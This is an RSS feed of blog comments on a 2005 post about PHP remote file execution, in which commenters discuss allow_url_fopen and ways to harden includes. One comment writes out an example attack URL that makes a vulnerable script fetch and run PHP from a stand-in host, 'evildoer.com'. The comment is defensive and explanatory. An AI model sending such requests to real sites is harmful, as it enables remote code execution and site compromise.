<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"><channel><title>Technosailor - Latest Comments in Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.disqus.com/</link><description></description><language>en</language><lastBuildDate>Wed, 07 Sep 2005 18:21:52 -0000</lastBuildDate><item><title>Re: Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/#comment-1028691</link><description>Here's a simple example of why allow_url_fopen is a problem in the real world.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;I've seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And then they run it with something like "http://www.example.com/index.php?page=page5.html".&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;All it takes is someone to come along and type "http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt", and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Rob</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Robert Mathews</dc:creator><pubDate>Wed, 07 Sep 2005 18:21:52 -0000</pubDate></item><item><title>Re: Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/#comment-1028690</link><description>Hey Matt,&lt;br /&gt;&lt;br&gt;Checking $_SERVER[â€™DOCUMENT_ROOTâ€™] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Leave a Comment</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Aaron</dc:creator><pubDate>Thu, 03 Feb 2005 09:30:48 -0000</pubDate></item><item><title>Re: Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/#comment-1028689</link><description>Ah yes open_basedir(), figured you'd mention that. Nice idea to use file_exists to check a file before including it. I s'pose there's lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don't know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;Matt</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Matt Thornton</dc:creator><pubDate>Thu, 03 Feb 2005 08:43:14 -0000</pubDate></item></channel></rss>